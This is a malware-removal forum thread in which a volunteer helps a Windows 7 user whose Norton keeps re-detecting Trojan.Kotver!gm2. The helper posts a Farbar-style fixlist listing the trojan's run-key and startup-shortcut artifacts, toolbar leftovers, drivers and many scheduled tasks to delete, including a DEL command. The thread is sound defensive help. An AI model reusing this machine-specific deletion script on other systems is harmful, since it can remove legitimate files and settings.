[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2

new

sasha22
New Helpee

Posts: 12

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 24, 2016 9:45:11 GMT -8

Post by sasha22 on Oct 24, 2016 9:45:11 GMT -8

I am running windows 7 and use internet explorer on my desk top.

Norton's continues to notify me that the Trojan.kotver!gm2 has been removed and I need to restart my pc to complete the removal.

I have done this many times (more than 10) and it just continues. Can you help?

Last Edit: Nov 20, 2016 22:38:09 GMT -8 by dbrisen

dbrisen
Malware Removalists

Posts: 3,688

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 24, 2016 21:35:44 GMT -8

Post by dbrisen on Oct 24, 2016 21:35:44 GMT -8

Please follow the steps in this thread ( I think I am infected. What do I do? ).

Notice that you will need to use wikisend.com to supply me with the Addition.txt log; steps to do this is explained here .

Once you have provided the logs required, I will assist you as best we can.

Thank you.

I will not provide malware removal by PM; please post in your thread on the Malware Removal board.
My help is always free but if you would like to help encourage me or show your thanks -----> DONATE

sasha22 New Helpee Posts: 12	[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 25, 2016 8:14:26 GMT -8 Select Post Deselect Post Link to Post Member Give Gift Back to Top Post by sasha22 on Oct 25, 2016 8:14:26 GMT -8 Here are the files I downloaded wikisend.com/download/505352/FRST.txt wikisend.com/download/318224/Addition.txt

dbrisen
Malware Removalists

Posts: 3,688

[ti]SOLVED[/ti]Cannot remove the Trojan.Kotver!gm2 Oct 25, 2016 20:39:09 GMT -8

Post by dbrisen on Oct 25, 2016 20:39:09 GMT -8

Lot to do here; let's get started ....

FIRST >>>>

Did you know that System Restore is disabled?

If you did not do this intentionally, please check the following:

Go to Start and type System in the search box.

Click on System (under Control Panel or Settings) and then on System Protection.

Click on Configure and then select Turn on system protection.

Click Apply and then OK.

In the System Protection screen, is Protection now On for the drive?

SECOND >>>>

Open notepad by pressing the Windows Key + R key, typing notepad in the Run box and pressing Enter. Please copy the contents of the quote box below. To do this highlight the contents of the box and right click on it and select copy. Paste this into the open notepad. Save it to your desktop as fixlist.txt

Start
CreateRestorePoint:
CloseProcesses:
HKU\S-1-5-21-2287122347-3831853411-1151728686-1001\...\Run: [**kmprflszkm<*>] => "C:\Users\Sasha22\AppData\Local\50a35bdd\6f371936.lnk" <===== ATTENTION (Value Name with invalid characters)
C:\Users\Sasha22\AppData\Local\50a35bdd
Startup: C:\Users\Sasha22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\28d39584.lnk [2016-10-25]
Startup: C:\Users\Sasha22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\81bcba4e.lnk [2016-10-15]
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxp://search.live.com/results.aspx?q={searchTerms}&src={referrer:source?}
SearchScopes: HKLM-x32 -> DefaultScope {67A2568C-7A0A-4EED-AECC-B5405DE63B64} URL = hxxp://www.google.com/search?sourceid=ie7&q={searchTerms}&rls=com.microsoft:{language}:{referrer:source?}&ie={inputEncoding}&oe={outputEncoding}&rlz=1I7ACGW
SearchScopes: HKLM-x32 -> {3d29c02b-bf3e-4d3b-8a7a-e0e7d0f6dbab} URL = hxxp://search.mywebsearch.com/mywebsearch/GGmain.jhtml?id=Z7xdm027YYus&ptnrS=Z7xdm027YYus&si=CNGF67mRx68CFQYUKgodpmNXbQ&ptb=ABF5BC0C-E0CF-4C55-BC45-83E985F77851&psa=&ind=2012042119&st=sb&n=77ed5387&searchfor={searchTerms}
SearchScopes: HKLM-x32 -> {67A2568C-7A0A-4EED-AECC-B5405DE63B64} URL = hxxp://www.google.com/search?sourceid=ie7&q={searchTerms}&rls=com.microsoft:{language}:{referrer:source?}&ie={inputEncoding}&oe={outputEncoding}&rlz=1I7ACGW
SearchScopes: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001 -> {0BDCD7DA-C2C3-481E-97F5-A9584EA5FFA3} URL = hxxp://search.conduit.com/ResultsExt.aspx?q={searchTerms}&SearchSource=4&ctid=CT2559647
SearchScopes: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001 -> {3d29c02b-bf3e-4d3b-8a7a-e0e7d0f6dbab} URL = hxxp://search.mywebsearch.com/mywebsearch/GGmain.jhtml?id=Z7xdm027YYus&ptnrS=Z7xdm027YYus&si=CNGF67mRx68CFQYUKgodpmNXbQ&ptb=ABF5BC0C-E0CF-4C55-BC45-83E985F77851&psa=&ind=2012042119&st=sb&n=77ed5387&searchfor={searchTerms}
BHO-x32: No Name -> {5C255C8A-E604-49b4-9D64-90988571CECB} -> No File
Toolbar: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001 -> No Name - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - No File
Toolbar: HKU\S-1-5-21-2287122347-3831853411-1151728686-1001 -> No Name - {37153479-1976-43C3-A1EE-557513977B64} - No File
FF HKLM-x32\...\Firefox\Extensions: [{7BA52691-1876-45ce-9EE6-54BCB3B04BBC}] - C:\ProgramData\Norton\{0C55C096-0F1D-4F28-AAA2-85EF591126E7}\Norton\coFFPlgn => not found
FF Plugin: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\system32\Adobe\Director\np32dsw.dll [No File]
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
CHR HKLM-x32\...\Chrome\Extension: [ghnpfkmgeiojiaheaiefkilmjinpoccb] - C:\Users\Sasha22\AppData\Local\Temp\ghnpfkmgeiojiaheaiefkilmjinpoccb.crx <not found>
C:\Users\Sasha22\AppData\Local\Temp\ghnpfkmgeiojiaheaiefkilmjinpoccb.crx
S3 cpuz134; \??\C:\Users\Sasha22\AppData\Local\Temp\cpuz134\cpuz134_x64.sys [X]
S3 FXDRV; \??\D:\Fxdrv64.sys [X]
S3 MREMPR5; \??\C:\PROGRA~1\COMMON~1\Motive\MREMPR5.SYS [X]
S3 MRENDIS5; \??\C:\PROGRA~1\COMMON~1\Motive\MRENDIS5.SYS [X]
C:\Users\Sasha22\AppData\Local\Temp\cpuz134\cpuz134_x64.sys
D:\Fxdrv64.sys
C:\PROGRA~1\COMMON~1\Motive\MREMPR5.SYS
C:\PROGRA~1\COMMON~1\Motive\MRENDIS5.SYS
C:\Windows\SysWOW64\000*.tmp
2016-10-15 13:02 - 2016-10-15 16:39 - 00000000 ____D C:\Users\Sasha22\AppData\Local\50a35bdd
2016-10-15 13:02 - 2016-10-15 13:02 - 00000000 ____D C:\Users\Sasha22\AppData\Roaming\785a901d
2016-10-17 08:48 - 2011-10-13 19:39 - 00000000 ____D C:\Users\Sasha22\AppData\Local\Conduit
Task: {00E4FFF8-90C7-42D3-BC2A-3152ACF91D47} - System32\Tasks\{74B7AB23-2351-4E8A-8384-CC07AB254F8C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\journalistic-stories_s1_l1_gF5551T1L1_d971257939[1].exe" -d C:\Users\Sasha22\Desktop
Task: {016E36E1-7B16-4AC4-9AB8-6E189FF05D67} - System32\Tasks\{EB9E6399-208D-41B2-8DD5-8A59D592CDA8} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\jane-croft-the-baker-street-murder_s1_l1_gF6027T1L1_d1101105297[1].exe" -d C:\Users\Sasha22\Desktop
Task: {02E7983F-DAB1-482E-970A-D8FCDF8C909C} - System32\Tasks\{1C8C0DCB-7E99-4D2F-B7B6-2CB2E844A62C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\magicmatchthegenie_s1_l1_gF1431T1L1_d1130586781[1].exe" -d C:\Users\Sasha22\Desktop
Task: {07BA13BD-55D3-475E-8C6C-6664EC0AEB04} - System32\Tasks\IHUninstallTrackingTASK => /C DEL C:\Users\Sasha22\AppData\Local\Temp\IHU829D.tmp.exe <==== ATTENTION
Task: {08EA12AE-370E-4594-963F-C567D0F10038} - System32\Tasks\{134F9C4D-E6CA-4F02-90F9-042BEC05D00A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MLZIOLKY\yucatan_s1_l1_gF2044T1L1_d1212689588[1].exe" -d C:\Users\Sasha22\Desktop
Task: {0A8DC899-99C3-4AE1-8115-CD634ECE62B3} - System32\Tasks\{5DD8B839-E663-4D88-8F1F-8B491A91F66D} => pcalua.exe -a "C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE12\Office Setup Controller\setup.exe" -c /uninstall HOMESTUDENTR /dll OSETUP.DLL
Task: {0E4E1A1E-FA90-42DA-A1FC-47AA9CA59942} - System32\Tasks\{1DC56560-7D77-4FE1-A8F7-29FBDD7440FF} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6DQ8N9LP\pixie-pond_s1_l1_gF5707T1L1_d1278053406[1].exe" -d C:\Users\Sasha22\Desktop
Task: {0FDD15EC-C217-4F4D-BF19-B146788AAD3E} - System32\Tasks\{FA64022C-37D7-4AE3-83C4-047FAC7E739F} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OHU1RWXM\dark-ritual_s1_l1_gF6656T1L1_d1295696442[1].exe" -d C:\Users\Sasha22\Desktop
Task: {101CDD8D-44B6-41A7-8208-986B0294196A} - System32\Tasks\{9B6A63FB-BE61-410E-9539-AB1D4F1C1259} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\flower-mania_s1_l1_gF6163T1L1_d1254429222[1].exe" -d C:\Users\Sasha22\Desktop
Task: {11EF582C-10D0-40F6-94E6-8C5F08E1709F} - System32\Tasks\{3D73BF7E-B8FF-4799-BC05-0F6D86DC81F1} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\broken-hearts-a-soldiers-duty_s1_l1_gF5357T1L1_d1005055812[1].exe" -d C:\Users\Sasha22\Desktop
Task: {125B9A49-A21A-42FF-9BE6-7A50406B9B56} - System32\Tasks\{2A8BB9A3-91C5-457D-91FB-4405FA1D79F3} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\tulula-legend-of-a-volcano_s1_l1_gF6028T1L1_d1109479905[1].exe" -d C:\Users\Sasha22\Desktop
Task: {14FBA3A7-D256-4542-BFAA-E224A156A751} - System32\Tasks\{D7570DB3-7654-49A4-A667-60CB93EBF038} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\dark-tales-edgar-allan-poe-murders-rue-morgue_s1_l1_gF5380T1L1_d987002383[1].exe" -d C:\Users\Sasha22\Desktop
Task: {153955A0-1F26-4ABF-BE15-D18689DF92CE} - System32\Tasks\{DD76A63D-1B00-4882-8162-3EC779DA071D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\relic-hunt_s1_l1_gF5090T1L1_d1045729295[1].exe" -d C:\Users\Sasha22\Desktop
Task: {174E2C0C-EC86-4951-9614-95FFC3184364} - System32\Tasks\{C583A7A5-93A9-42A1-996C-F7CD7EC19CD7} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\atlantis-mysteries-of-ancient-inventors_s1_l1_gF5982T1L1_d1095587812[1].exe" -d C:\Users\Sasha22\Desktop
Task: {21D3CC7D-0B59-40D3-A925-108F47122949} - System32\Tasks\{917815A0-2967-4DC5-9943-76C31983C421} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\treasureofpersia_s1_l1_gF1368T1L1_d1149656823[1].exe" -d C:\Users\Sasha22\Desktop
Task: {231CED35-9037-49EE-AFD1-C23B71FBB46B} - System32\Tasks\{A8FD6C41-9122-459C-B280-E49867C70457} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\gems-quest_s1_l1_gF2416T1L1_d1196951822[1].exe" -d C:\Users\Sasha22\Desktop
Task: {27171F87-8615-4BF4-921F-204891BF83D1} - System32\Tasks\{0C2B5956-4A13-485A-AEDF-64F18CEE9250} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\mishap-an-accidental-haunting_s1_l1_gF5421T1L1_d1028072377[1].exe" -d C:\Users\Sasha22\Desktop
Task: {2966D223-8E77-4678-A50B-66CDDBE455D8} - System32\Tasks\{CB80A166-C620-421F-8417-F94B71E108B9} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\bigfishgames_p76148184_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {2F57269B-1E09-4E2D-AB1E-B0FDAC7D279C} - \Microsoft\Windows\WindowsBackup\ConfigNotification -> No File <==== ATTENTION
Task: {33CE0666-CC1C-4273-853B-63F3FE86F2C9} - System32\Tasks\{E6951CA5-0AB9-4C0C-BFDE-178AF5FC1197} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\sherlock-holmes-hound-baskervilles-ce_s1_l1_gF6031T1L1_d1102549651[1].exe" -d C:\Users\Sasha22\Desktop
Task: {35BC0A2B-72B2-4E56-8A79-9CCEAC04EE6C} - System32\Tasks\{68988675-CC42-4930-8A33-A1B90DD7D94B} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\ancient-spirits-columbus-legacy_s1_l1_gF5995T1L1_d1067492942[1].exe" -d C:\Users\Sasha22\Desktop
Task: {3A1C0285-B71B-4927-807D-6CD9C82DD173} - System32\Tasks\{0E445930-7755-40D1-B750-2D0E6D7C7098} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\magic-academy-2_s1_l1_gF5239T1L1_d1020248006[1].exe" -d C:\Users\Sasha22\Desktop
Task: {3B317FFD-7C36-45B3-A288-2B9AE170928A} - System32\Tasks\{BA23D50F-E37F-4FF4-A340-AEA99A83068C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\season-of-mystery-cherry-blossom-murders_s1_l1_gF5289T1L1_d1053774880[1].exe" -d C:\Users\Sasha22\Desktop
Task: {3B643A88-0339-496C-86B3-2625BAC31BD8} - System32\Tasks\{776CC1D4-769D-4B73-8FE4-CCDFA25FABEE} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\dream-day-true-love_s1_l1_gF6065T1L1_d1126622177[1].exe" -d C:\Users\Sasha22\Desktop
Task: {3F32F711-9B24-4F99-A0C4-D3986243CA71} - System32\Tasks\{657A9EB9-67AC-4125-B017-93280F26F391} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OHU1RWXM\art-of-murder-deadly-secrets_s1_l1_gF6132T1L1_d1270217539[1].exe" -d C:\Users\Sasha22\Desktop
Task: {45CAFEC0-DB2C-4660-A80A-AC92C2F7F45B} - System32\Tasks\{221C1B97-1639-45F7-A2F0-7E977C4B9E8C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\skymist-the-lost-spirit-stones_s1_l1_gF5845T1L1_d964234085[1].exe" -d C:\Users\Sasha22\Desktop
Task: {466D959C-BE14-443A-8C0D-F246F2CC6482} - System32\Tasks\{99A72F45-BCFA-42A9-9BE6-3925840DBA9C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\antiques-roadshow_s1_l1_gF6580T1L1_d1102585691[1].exe" -d C:\Users\Sasha22\Desktop
Task: {484E73D0-FC1A-4A34-B08C-8C08589F1F83} - \Microsoft\Windows\Windows Activation Technologies\ValidationTaskDeadline -> No File <==== ATTENTION
Task: {487E295D-03E5-48D8-BA76-D68C85268970} - System32\Tasks\{280A918B-E8A1-4608-9E9D-C93318BCC8E5} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\the-mysterious-case-of-dr-jekyll-and-mr-hyde_s1_l1_gF5887T1L1_d979272843[1].exe" -d C:\Users\Sasha22\Desktop
Task: {49127BA3-8017-4815-B315-B0EA726DD831} - System32\Tasks\{981ADF63-EB17-4684-8E1F-82193DE16F20} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\simajo_s1_l1_gF5882T1L1_d971277799[1].exe" -d C:\Users\Sasha22\Desktop
Task: {491E3693-6C94-4F8E-B08B-6C808F2FD882} - System32\Tasks\{34E5AB1E-C64C-4F7F-AED7-400D7B0CDFB2} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\finding-hope_s1_l1_gF5960T1L1_d1029206811[1].exe" -d C:\Users\Sasha22\Desktop
Task: {4C274584-9822-47B4-BBB4-7A0FA1972F3C} - System32\Tasks\{9CA433C4-0A01-4F6F-B686-1859C0738568} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\sprill_s1_l1_gF2037T1L1_d1132660971[1].exe" -d C:\Users\Sasha22\Desktop
Task: {50606EE4-2F79-4D5D-9717-B1F73EFF41C6} - System32\Tasks\{FDC42E48-F485-4F5A-B159-FCBE4F3E3343} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\save-our-spirits_s1_l1_gF5212T1L1_d1053730968[1].exe" -d C:\Users\Sasha22\Desktop
Task: {54B98E32-6097-4C38-AB2F-A5173C2B41C2} - System32\Tasks\{37E76947-191B-45BE-B604-0F136D3D3855} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\kate-arrow-deserted-wood_s1_l1_gF5834T1L1_d962634506[1].exe" -d C:\Users\Sasha22\Desktop
Task: {556B7239-9DE6-4A54-9932-1248CF096942} - System32\Tasks\{4882A748-7162-4111-A081-8CFE75425C32} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OHU1RWXM\alchemists-apprentice_s1_l1_gF2947T1L1_d1300173442[1].exe" -d C:\Users\Sasha22\Desktop
Task: {57934C93-B3C8-4A4B-9F80-FD10BF99C936} - System32\Tasks\{DBCC83F6-DFD5-4E74-AC36-0F2EC7E483E3} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\mystery-cruise_s1_l1_gF5604T1L1_d1036092267[1].exe" -d C:\Users\Sasha22\Desktop
Task: {5794ABDE-EFCA-40D2-85B5-7D9E29BD564E} - System32\Tasks\{055A5BAA-1BFE-4BBF-B603-29D124F05925} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\the-lost-kingdom-prophecy_s1_l1_gF5881T1L1_d1225973246[1].exe" -d C:\Users\Sasha22\Desktop
Task: {5817CBD3-17DC-49F3-8B67-52DE30211AD8} - System32\Tasks\{89F102C2-94DE-4E87-851A-F3816EB24C3D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\3-days-amulet-secret_s1_l1_gF6016T1L1_d1095642966[1].exe" -d C:\Users\Sasha22\Desktop
Task: {5B445299-DB81-49FC-934D-82219FD587B9} - System32\Tasks\{5975654B-DAA1-4846-A172-02C6C3C29718} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\a-gypsys-tale-the-tower-of-secrets_s1_l1_gF5836T1L1_d962637843[1].exe" -d C:\Users\Sasha22\Desktop
Task: {5BA7F104-4109-40BA-A0F9-BCECDAD75529} - System32\Tasks\{0D1ACD63-233C-4D90-980F-0E355B38B324} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\bigfishgames_p76175282_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {5D6D7A00-AF21-4DE4-B07D-FB4A0A34694D} - System32\Tasks\{CEA75B53-3599-46FE-9D50-5B365D9F13B6} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\penny-dreadfuls-sweeney-todd_s1_l1_gF5402T1L1_d1037586659[1].exe" -d C:\Users\Sasha22\Desktop
Task: {621FF038-F176-405A-9A3A-0A58D1A28E59} - System32\Tasks\{BFEE6C01-5BD7-46C5-B993-CE4E590E986C} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\3-cards-to-dead-time_s1_l1_gF5499T1L1_d970941303[1].exe" -d C:\Users\Sasha22\Desktop
Task: {6967D309-C1C8-465F-8A06-26EE89F66ABC} - System32\Tasks\{42F0FBA0-6CCC-4D09-92DD-775A8DEC0D60} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\galapago_s1_l1_gF1102T1L1_d1196080264[1].exe" -d C:\Users\Sasha22\Desktop
Task: {6EF091F1-336C-4F0F-9013-8666A949707C} - System32\Tasks\{1F2B59C3-027E-42D1-9552-6575A4FDA56A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\girl-in-the-city_s1_l1_gF6114T1L1_d1195990430[1].exe" -d C:\Users\Sasha22\Desktop
Task: {726A4628-19B7-4E25-BC19-8D44A5C45340} - System32\Tasks\{18BE1995-9EE2-4F42-89E0-7DE6A6CDD83D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\jewel-quest-mysteries-curse-emerald-tear_s1_l1_gF5335T1L1_d1076845694[1].exe" -d C:\Users\Sasha22\Desktop
Task: {749453EB-3D47-4D32-963A-AACC13D6016A} - System32\Tasks\{C15B6F0E-0B46-4A81-975A-21CB369A12E9} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\twisted-lands-shadow-town-collectors-edition_s1_l1_gF5990T1L1_d1044462202[1].exe" -d C:\Users\Sasha22\Desktop
Task: {750EC62C-30B9-4FAD-94AE-7CFB7DEF9051} - System32\Tasks\{492EA44C-46C2-48CA-B7C4-5F9F1367400A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\immortal-lovers_s1_l1_gF5875T1L1_d979250679[1].exe" -d C:\Users\Sasha22\Desktop
Task: {7517EC30-7D70-4068-BCF9-1A2D8A34F73D} - System32\Tasks\{AB51E920-D88C-4C1E-A9BF-D1596BA606D2} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\bigfishgames_p76092273_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {78245F6C-113A-44CD-9E27-C7CB9ED3275C} - System32\Tasks\{515DC1A5-93B1-4BF9-90D5-05FC0EB33161} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\aladin-and-the-wonderful-lamp_s1_l1_gF6657T1L1_d1255512773[1].exe" -d C:\Users\Sasha22\Desktop
Task: {796479B7-C0C6-43E8-BBCF-3278E2F0A194} - System32\Tasks\{161D8FC5-B1F7-4AE3-A730-D6C82B9F24D8} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\unlikely-suspects_s1_l1_gF6591T1L1_d1101048189[1].exe" -d C:\Users\Sasha22\Desktop
Task: {7B7F06E1-4878-43E2-99A7-39290A60FF5B} - System32\Tasks\{5C8AAD7E-A5E3-4B46-B1E4-7424B642BC31} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\g2geeksunleashed_s1_l1_gF1578T1L1_d1196064888[1].exe" -d C:\Users\Sasha22\Desktop
Task: {7D6CF67C-1128-4E45-82A6-12C592248AFA} - System32\Tasks\{262EF5A3-C139-479A-BE85-08E88997506A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\fishdom-2_s1_l1_gF5821T1L1_d1192633267[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8252F8D1-2F25-4A95-8AB9-657709895A26} - System32\Tasks\{9F9557F6-620B-4831-8A3A-088ED839FC1A} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\jane-lucky_s1_l1_gF6054T1L1_d1122558519[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8472F163-ECA7-4271-B513-1715DF8C4618} - System32\Tasks\{29DA0158-ED77-4229-826A-7A2B6B0F0EA5} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\xmas-blox_s1_l1_gF1369T1L1_d1149657703[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8602BFD0-46F1-4745-843C-A27050D9293E} - System32\Tasks\{A9D09852-4155-4295-9BD0-507C9BE79EDE} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5VN420AT\the-mystery-of-the-dragon-prince_s1_l1_gF6045T1L1_d1122560021[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8A1E2183-4C7F-4F8D-B5DD-56CEE1E01691} - System32\Tasks\{150BEDDB-D24C-484B-A90C-016CBBB14193} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\veronica-rivers-order-conspiracy_s1_l1_gF5399T1L1_d977149436[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8DD04D00-1442-43F1-8933-BC9A78230BD2} - System32\Tasks\{CB0BF899-16BE-4BEE-995D-8C34D52E9B57} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\V5838DSH\bigfishgames_p76147903_s1_l1[1].exe" -d C:\Users\Sasha22\Desktop
Task: {8E4123B7-90B2-4DF7-8CF7-F12ABFD351EA} - System32\Tasks\{46BD50ED-3A84-4E68-B913-E4D1F49612C7} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\downtown-secrets_s1_l1_gF6036T1L1_d1095703378[1].exe" -d C:\Users\Sasha22\Desktop
Task: {9743EB10-2430-4F3D-B0C3-537F13E01880} - System32\Tasks\{BAE11B14-27C3-4D6D-89D1-A5C60CB4F10D} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LAX66TQ7\my-beautiful-vacation_s1_l1_gF5598T1L1_d1028137714[1].exe" -d C:\Users\Sasha22\Desktop
Task: {98708806-5170-48E2-9A89-8EADAF012DAF} - System32\Tasks\{48E75DBE-DBB7-43D3-B2A2-DD8FFCA352AB} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\QBL85V8Q\vesuvia_s1_l1_gF6217T1L1_d1274450203[1].exe" -d C:\Users\Sasha22\Desktop
Task: {9DFBA8B6-92EC-49F3-81DB-AD1B18AB27DC} - System32\Tasks\{7437BAFC-6B29-40E0-982D-A5F40CCFB1DD} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JONM5UKK\the-institute-a-becky-brogan-adventure_s1_l1_gF5991T1L1_d1067501216[1].exe" -d C:\Users\Sasha22\Desktop
Task: {A0868AD4-B290-416C-BB0D-5A7C7D73E194} - System32\Tasks\{46C0556E-B4A5-431B-A87A-1AFDF977DA49} => pcalua.exe -a "C:\Users\Sasha22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6DQ8N9LP\the-lost-treasures-of-alexandria_s1_l1_gF2423T1L1_d1225974796[1].exe" -d C:\Users\Sasha22\Desktop
